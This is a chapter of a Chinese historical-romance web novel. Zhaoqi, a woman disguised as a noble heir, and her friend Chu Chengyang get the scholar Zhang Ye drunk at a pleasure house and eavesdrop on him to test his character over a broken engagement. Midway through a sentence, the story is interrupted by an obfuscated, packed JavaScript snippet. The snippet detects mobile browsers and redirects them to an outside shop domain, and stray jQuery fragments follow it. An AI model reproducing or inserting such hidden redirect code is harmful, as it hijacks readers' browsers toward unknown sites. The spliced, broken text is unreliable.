昭齐是千方百转打听这个探花郎章晔,不过都是些明了的。
什么挺有才华,什么挺努力。
据说这章晔是从外县考进国子监的,家中十分微寒,上有卧病在床的母亲,下有年幼的弟弟,经常抄书卖画以维持家中生计,孝顺懂事又极为勤勉。
后在春闱高中进士,又在殿试中大得圣心,钦点成了有才又有貌的探花郎。
一时打马游街看尽长安花1,着实是惹人艳羡。
春闱后礼部就会于曲江池旁的杏园为新科进士办宴,名曲江宴,这宴就办得极为隆重且盛名了,可谓风光无限万人空巷,帝后亲临杏园赐下红绫饼餤,另有樱桃酥酪,取个“春果第一枝”的美意,曲水流觞吟词咏赋,是同年进士结交的大好机会。
这章晔逢人带笑,恭敬叉手而礼,被酒水泼了一身也不恼,对答自如才华横溢,同科的进士对他评价是极好的,说这个章晔为人十分谦和。
昭齐又去瞧了当年国子监生的名录,一瞧竟在上面发现了个熟人——
褚成杨。
又往前翻了几年,发现年年褚成杨都在,直待了六年整,诗、文、经义等考试回回排最末。
昭齐都没眼看,她没听过几回讲学,课业都没有这么差过。
前三年褚成杨和卢兆明同在国子监,春闱卢兆明中进士了。虽是挂尾那也是中了,而今在礼部挂了个闲职,可褚成杨那是毫不意外的名落孙山。昭齐又不禁忆起他们二人的关系不大好,难不成是在国子监结的仇?
又三年,褚成杨同章晔一年春闱,章晔高中探花,褚成杨又是惨淡落榜,堪称闻者伤心见者流泪。
虽说如此,昭齐还是戳着痛处,去找褚成杨这钉子户打问。
褚成杨见面第一句话:“什么妖风把你吹来了?”
昭齐说明来意之后,褚成杨第二句话就是:“果然是无事不登三宝殿,世子殿下还真是跟我毫不客气。刚帮完一回,就再来一回。”
得了便宜还卖乖?
她爹应允带他这金疙瘩上战场,可是冒着被皇帝皇后劈死的风险。事情到头来,也不是他解决的,还不是靠她爹求情,加上谢璋那厮还算饶了她一马。
昭齐微笑转身走人:“爱帮不帮,你的事儿我爹也不帮。”
“好了好了,开个玩笑而已。”
褚成杨连忙跨一步堵住去路,双手举起作投降状,“这事儿我给你牵线就行了,你跟章晔吃上顿饭,我看那小子还敢退婚?”
说到做到,雷厉风行,褚成杨当场就要写名帖去请章晔。
昭齐也是瞧出来他对这事是十分在意了。
“上战场有什么好的?就你这身份,挥霍潇洒一辈子都无所谓。”
褚成杨摇摇头,呷茶:“人活一世,得像霍去病,封狼居胥名留青史。”
二人闲谈的间隙,褚成杨也细说了番他所知道的章晔。
所言也与昭齐之前打听到的相去不远。
不过褚成杨还特意提了件小事。
“这国子监里权贵后代和权贵后代一处,贫寒学生就和贫寒学生一处,两拨人是常不对付的,难得这章晔同那些权贵也是关系尚可,常常会帮忙打掩护,挺会来事的个人,没听过有什么不好的传闻。不过有一回,不知道是谁把他的书卷都扔到湖里去了,大冬天的,他跳下去捡书,这事都没闹大,是我路过的时候瞧见了,最后也没人追究。”
国子监的学生其实大都是非富即贵,外县考进来的贫寒学生是少之又少,一是显贵子弟有关系,也有好学的,进来自然容易;二是外县的贫寒子弟在这长安城的住宅都负担不起,大都是等快春闱方进京赶考,自然也不会进国子监。
可这章晔就不一样,愣是攒银钱租了个能落脚的地儿,又凭着才学进了国子监。
为什么国子监如此让人趋之若鹜?一方面是确有名师大儒教导,二是也便宜考生找靠山拜门派,这就很重要了,有个好靠山日后官场方能走得顺。
这章晔是聪明又很有几分毅力的。
昭齐心里想怪不得,四婶和四娘都对他很欣喜满意,在他家境贫寒又无甚功名时就同人定下了婚约。
两日之后。
昭齐就同章晔在遇仙阁的雅间见上了面。
当时写名帖定地点的时候,昭齐其实不大愿意在这里。
这遇仙阁名义上是酒楼,但菜品是不好吃的,最出名的其实是歌舞和酒水,琵琶弄弦舞袖摇摇,也就是正正好称着纨绔子弟的心意,五陵年少尽在此争缠头。
“为什么要安排在遇仙阁?”
褚成杨一脸理所当然:“我平常请人做客就在这里,怎么了?”
瞧见昭齐像是真不理解,褚成杨可乐了,把写好的名帖给小厮一扔,顺带撂下懒洋洋的一句,“好了,别跟我装了,我可没少听过你在国子监大名鼎鼎的声誉,那也是逃学玩乐不在少数。”
这位的确是名副其实的纨绔。
但昭齐是假纨绔。
“我爹娘知道了,指不定打断我的腿,换个地儿吧。”
“不是吧?”褚成杨笑得前俯后仰,半晌方道,“我定在这里是有原因的。其一,既是婚姻大事,到底要看看这章晔是不是名副其实的正经,这里最好试探了;其二,我对这地方熟,对这的人也熟,什么消息都是第一手的。”
“你就说,你来不来?”
褚成杨一手正要搭在昭齐肩上,却被昭齐往左一挪躲开。
倒不是嫌弃,而是同男子离得太近,昭齐十分不自在。
虽说扮男装多年了,但其实昭齐是牢记着自己女孩儿的身份,加上她娘也没少耳提面命过,昭齐一贯同男性友人很有一些距离分寸。
只是这褚成杨见了谁都喜欢勾肩搭背的。
昭齐是举手求饶。
“来,来,来,可以了吧。”
遇仙阁厅堂之内朱红廊柱林立,三层黑漆高台鲛纱垂幔,貌美的胡姬在台上一圈圈点脚旋转,轻红明黄淡绿的色彩,腕上的银铃清脆的响,酒香花香浓郁,数千盏灯火映照得此处亮如昼,层层薄得透人的轻纱之后,是十二道半抱琵琶的曼妙姿影。
昭齐简直目不暇接。
欣赏美是人的天性,此情此景似壁画般美轮美奂,真的是让人心中唯余惊叹。
“再看眼珠子要掉出来了。”褚成杨毫不留情地耻笑,“要我说,越是装正经,从不来这种地方的人,越是容易沉醉其中,章晔估计也差不多。我看你也不用忧心退婚了,今天一试探就会发现探花郎吃喝嫖赌都来。”
等二人到的时候,章晔已然在雅间里等候着了。
这人含笑招呼叉手而礼,面容就是极为书生气的端正,衣着也是朴素的青布衫,极普通的料子但剪裁得体又很干净。
照理来说,中了探花郎,莫说是朝廷给赐下的金银,便是乡里都得给不知多少,另有各种乡绅或是富户来套近乎,没钱的都得送几只鸡鸭鹅攀关系。
章晔应当不缺钱,还是打扮得如此简朴,不张扬行事,为人又很有礼。
行事风姿倒真是端方有度。
昭齐顿时先添了几分好意。
三人见面先是客气的寒暄互明身份,坐下之后先说些闲散的话,褚成杨是个惯来路上遇见狗都能聊两句的,不一阵子,场面就热乎起来了,三人话也渐多了起来。
觉着气氛差不多了。
褚成杨就命人上酒来,章晔当即要摆手回绝,却被一把勾住肩膀。
“这儿的酒水,不是我吹嘘,比那曲江宴也差不了多少。正好让我见识下你的酒量,吃着小酒聊聊天,方为人生之乐事。”
官场之下私自小聚不喝酒那是不可能的,都是推杯换盏一杯接着一杯喝,上司请你喝酒,倘若不喝必是生怨。久而久之,宴会饮酒已然是蔚然成风。
谁也推脱不得,除非地位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982307|193075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经高到无人敢劝。
章晔自是深谙其中道理,也就半推半就饮了。
雅间内推杯换盏,昭齐先灌章晔两杯,褚成杨就灌章晔四杯,二人今天共同目的——不把章晔灌醉不罢休。
酒量好的尚扛不住这般车轮战,何况章晔这种一看就酒量一般的。
没过多久章晔就迷迷瞪瞪,伏倒在几案上了,褚成杨见状把人像薅草一样薅起来,又哥俩好的灌了几盏茶水,笑嘻嘻地调侃:“来喝点茶,贤弟这酒量不行啊,好戏还在后头,可不能倒下了。”
就这么说着话,叩门声响起。
手抱琵琶的女子半掩着纱,莲步轻移,向着褚成杨点了点头,依着惯例恭敬行礼,方绕到了屏风后弹曲儿。
“她这一手琵琶弹得极好,有钱都未必听得上,素日往来接见的来头都不小。若不是沾了个皇亲国戚的光,我也请不来她。”褚成杨搂着章晔笑道。
琵琶声时而清脆流利,时而婉转缠绵,简单的一曲却弹得极为动人心弦。
章晔只望着屏风后的人影,似是沉浸在曼曼的琴声之中,方才经过的香风仿佛还停留在此处。
他下意识地轻嗅了嗅。
褚成杨心底嗤笑了声,说了句要去更衣就出了门,昭齐也连忙起身打着哈哈说了一句也要去更衣。
两个人一出去。
褚成杨就带着昭齐,一转眼进了个后头的暗门。
这是个专设在雅间后的暗室,与旁的房间是隔音,但对于雅间内的声音,能听得清清楚楚一字不差,而雅间的人却听不到这暗室里的声音。
昭齐想,这真是内藏玄机。
怪不得非要选在这儿。
褚成杨是一边喝茶醒酒,一边摇着头叹气:“你看我说什么,章晔的眼珠子都快长在屏风上了。男人啊,真是经不起试探,英雄也难过美人关,世上就没有柳下惠。”
昭齐咂舌,煞有介事地点头。
一曲毕。
听得章晔的声音道:“你,你可是一曲琵琶名动长安的乌七娘?”
“不敢当。”乌七娘道。
一阵衣裳窸窣作响,听得乌七娘的声音在问,“大人可还好?可需小憩?”
章晔怕是有些醉得迷瞪了,好半晌才突然说话,声音高昂,“你,你方才弹的那曲可是残篇的春江月?补得半阙极妙。”
没想到章晔突然说起了琵琶曲,还颇有造诣。
而后,那二人就着琵琶曲的残篇如何补齐直谈了半刻钟。
雅间的二人是久逢知音,茶室的二人是对牛弹琴。
昭齐和褚成杨听得云里雾里面面相觑,仿佛回到了当年国子监上夫子在上面讲,底下人在下面昏昏欲睡,这夫子还是醉酒的夫子。
褚成杨都忍不住说了句。
“这种情况,只有两种可能。”
昭齐心里也在想原因:“此话何解?”
“要么他确实是难得的个表里如一清正端方的君子。”
褚成杨笑了笑,“要么,他图谋太大心机太深装得让人抓不出破绽。”
昭齐不置可否,一拍几案。
“我四妹看上的人,总不至于很差,这门婚事我搓合定了。”
当啷一声,什么东西栽倒的声音,随即是乌七娘在问:“大人,大人醒醒?”
章晔再没有了回应,像是睡沉了。
昭齐和褚成杨回去之后,便见章晔跽坐着伏倒在案上,乌七娘就坐在章晔身侧,向着褚成杨点了点头后就退下了,酒水等也收了起来,唯余残留的酒气脂粉香。
酒醉的人一般睡沉之后,再过三两个小时就会醒。
褚成杨是等不住了,自己道使命完成了,挥挥衣袖走人了。
昭齐就在这里守着。
直到灯火渐上,章晔方迷迷瞪瞪醒来,听得头顶阴恻恻的一句拷问。
“章晔,你为何要退我四妹的婚?”